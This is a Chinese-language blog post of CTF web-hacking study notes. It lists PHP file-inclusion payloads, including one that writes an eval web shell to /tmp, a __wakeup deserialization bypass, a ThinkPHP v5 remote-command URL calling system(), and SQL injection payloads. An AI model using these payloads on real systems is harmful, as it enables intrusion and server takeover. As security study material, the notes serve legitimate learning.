CTF-web自学

文件包含(file include)漏洞

$file=$_GET['file'];include($file),通过改变文件攻击

php伪协议文件

php://filter/read=convert.base64-encode/resource=所在文件的目录

php伪协议数据

file2=data://text/plain,hello%20ctf

?page=PHP://input

post请求:<?php fputs(fopen('/tmp/shell.php','w'),'<?php @eval($_POST[cmd])?>')?>

PHP函数:

strrev()反转字符串
call_user_func_array( callable $callback , array $param_arr):把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
substr(string,start,length):字符串,开始的位置,需要的长度(默认到最后)
str_rot13:ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。执行两边会返回原来的字符串。

正则表达式:

/[oc]:\d+:/i:/ 开始正则表达式模式。
[oc] 匹配字符集合,它会匹配单个字符,可以是 "o" 或 "c"(不区分大小写,因为后面有 i 标志)。
: 匹配一个冒号字符。
\d+ 匹配一个或多个数字字符。
: 再次匹配一个冒号字符。
/ 结束正则表达式模式。
i 是一个标志,表示不区分大小写。

序列化漏洞:

魔术方法触发时机:

 weakup()绕过:

<?php
  class secret{
    var $file='flag.php';
    function __wakeup(){
      echo 'wakeup执行了...';
    }
  }
  echo serialize(new secret());//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
  $a='O:6:"secret":2:{s:4:"file";s:8:"flag.php";}';
  unserialize($a);
?>

 可以通过修改$a来确定wakeup是否执行了

$a='O:6:"secret":1:{s:4:"file";s:8:"flag.php";}';

thinkphp v5漏洞

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=需要执行的linux命令

linux命令

ls /:列出根目录下的所有目录

cat /flag:查看flag文件的内容

sel注入常规命令:

查看表中的列数:' order by 2--+

查看表名: union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

查看列名

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值